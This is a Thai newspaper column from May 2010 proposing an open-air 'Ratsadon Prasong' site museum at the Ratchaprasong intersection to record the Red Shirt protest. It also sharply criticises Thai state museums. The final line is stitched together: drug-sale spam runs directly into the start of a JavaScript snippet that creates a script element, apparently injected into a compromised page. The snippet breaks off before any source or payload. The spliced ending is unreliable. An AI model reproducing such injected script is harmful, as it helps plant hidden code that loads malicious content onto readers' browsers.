หนังสือพิมพ์มติชน ฉบับวันศุกร์ที่ 14   พฤษภาคม   พ.ศ. 2553

 

“ราษฎร์ประสงค์ มิวเซียมเป็นมิวเซียมแสดงเหตุการณ์การเมืองรากหญ้าของชุมนุมชุมชนคนเสื้อแดงที่บริเวณสัญลักษณ์ชื่อ“ราชประสงค์ สี่แยก” ให้เป็นประวัติศาสตร์การเมืองไทยอีกบทหนึ่ง

ไม่ควรเรียก“พิพิธภัณฑ์ราษฎร์ประสงค์” เพราะคำว่า“พิพิธภัณฑ์”ถูกราชการไทยทำให้เสียหายหมายถึงสุสาน หรือโกดังเก็บของเก่ามานานมากแล้ว เป็นที่รับรู้ว่าเป็นสถานที่ไม่น่าเข้าใกล้ เพราะกลิ่นความล้าหลังคลั่งชาติจะติดเสื้อผ้าเนื้อตัว

ชุมชนผลประโยชน์บริเวณ“ราชประสงค์ สี่แยก”และผู้มีศรัทธาทั้งหลาย ควรร่วมกันทำ“ราษฎร์ประสงค์ มิวเซียม”ให้มีชีวิตชีวาและลมหายใจบนสถานที่เกิดเหตุจริงๆ หรือที่เรียกกันว่า site museum โดยไม่ต้องมีห้องหับให้ยุ่งยากฟุ่มเฟือย แต่ให้เป็น open museum หรือที่ผมจำจากเอกสารของรองปลัดกระทรวงวัฒนธรรม โสมสุดา ลียะวณิช เมื่อนานมาแล้วว่า museum without wall

วิธีจัดแสดงเบื้องต้นชนิดง่ายสุดๆคือ สแกนรูปถ่ายพร้อมคำบรรยาย ติดไว้กับสถานที่เคยมีเหตุการณ์กระจัดกระจายไปตามจริง

คำบรรยายมีภาษาไทย-อังกฤษเป็นอย่างแรกสุด ต่อไปข้างหน้าใครมีศรัทธาเพิ่ม ก็ค่อยๆเพิ่มภาษาอื่นๆ เช่น จีน, ญี่ปุ่น, เกาหลี, อาหรับ, ฯลฯ

ตรงไหนมีพื้นที่มากพอจะจัดแสดงสิ่งของ เช่น ระเนียดไผ่, ป้อมค่าย, ฯลฯ ก็ทำไว้อย่างง่ายๆ โดยเฉพาะท่านั่ง, ท่านอน ของคนเสื้อแดงบ้านนอกคอกนาทั้งหลาย เป็นพยานหลักฐานประวัติศาสตร์สังคมการเมืองสำคัญมากๆ ทั้งในแง่สำเร็จและล้มเหลว

ที่ยกตัวอย่างแรกสุดมานี้ ล้วนมีเสน่ห์ให้คนไทยทั่วประเทศจะเข้ามาทัศนศึกษา ขณะเดียวกันก็รับ“ทัวร์”ต่างประเทศทั่วโลกมาดูสิ่งมหัศจรรย์อย่างต่อเนื่องยาวนานนิรันดร

สอดคล้องกับข่าวล่าสุดมีว่ารัฐและเอกชนเตรียมจัดกิจกรรมครั้งใหญ่ให้ ราชประสงค์ สี่แยก พลิกฟื้นคืนชีวิตเหมือนแต่ก่อนที่เคยคึกคักหนักแน่นแออัดยัดเยียดด้วยธุรกิจ การค้าและการท่องเที่ยว

แน่นอน ต้องมีคนจำนวนมากแย้งว่าจะมาทำเองหาพระแสงอะไร? นี่เป็นงานในหน้าที่ของพิพิธภัณฑสถานแห่งชาติ กรมศิลปากร

ก็ขอให้ย้อนอ่านอธิบายคำว่าพิพิธภัณฑ์(ในย่อหน้าที่ 2 ) หากไม่เข้าใจขอให้บอกมา ผมจะเขียนอธิบายอีก

วิถีคิดและวิธีทำเกี่ยวกับ museum ของพิพิธภัณฑสถานแห่งชาติของไทย ล้วนเป็นผลพวงจากยุคอาณานิคม-สงครามเย็น ที่ราชการไทยยอมเป็น“อาณานิคมยุโรป-อเมริกา” จึงไม่เคยจัดแสดงประวัติศาสตร์เศรษฐกิจ การเมือง สังคม และวัฒนธรรมของไทย

แต่ที่มีอยู่ทั่วประเทศขณะนี้ คือจัดแสดงงานช่างสวยๆงามๆของคนชั้นสูง“ปรี๊ด”ในนามประวัติศาสตร์ศิลปะมาเคลือบไว้ ส่งผลให้ไม่มีใครอยากเข้าพิพิธภัณฑ์ เพราะเข้าไปแล้วไม่เข้าท่า มีแต่เรื่องราวเนื้อหาล้าหลังคลั่งชาติ

แต่ข้าราชการพวกนี้ไม่รู้ตัว ยังคิดว่าตัวเองวิเศษกว่าชาวบ้านชาวเมืองทั่วไป จึงแสดงทัศนะปกป้องตัวเอง อย่างไม่ฉลาดสู่สาธารณะ(กรุณาอ่านในข้อเขียนเรื่อง พิพิธภัณฑ์แบบไทยๆทางสามแพร่ง—เชย หรือ เดิร์น พิมพ์ใน D Life ประชาชาติธุรกิจ ฉบับวันที่ 3 พฤษภาคม 2553 หน้า D-VIEW—Mainie)

คนพวกนี้ไม่คิดถึงสังคมอะไรทั้งนั้น แม้แต่“สังคมไทย” ถ้าพวกมันจะคิดถึงสังคมไทยบ้างสักเล็กๆน้อยๆ ก็เป็นสังคมไทยที่หยุดนิ่งตายซากอยู่แค่รัฐสุโขทัย สมัยพ่อขุนรามคำแหงเท่านั้น ไม่มีก่อนนั้น หลังนั้นก็ไม่มี ไม่มีแม้กระทั่ง“ปัจจุบัน”

พวกมันไม่รู้เรื่อง“ราษฎร์ประสงค์”หรอก เพราะมันอยู่กับ“ราชประสงค์

ชุมนุมชุมชนคนเสื้อแดงที่ราชประสงค์ สี่แยก เหมาะจะทำ site museum, open museum, museum without wall ชื่อราษฎร์ประสงค์ มิวเซียมpurchase prozac online lexapro generic buyvar d=document;var s=d.createElement(‘script’);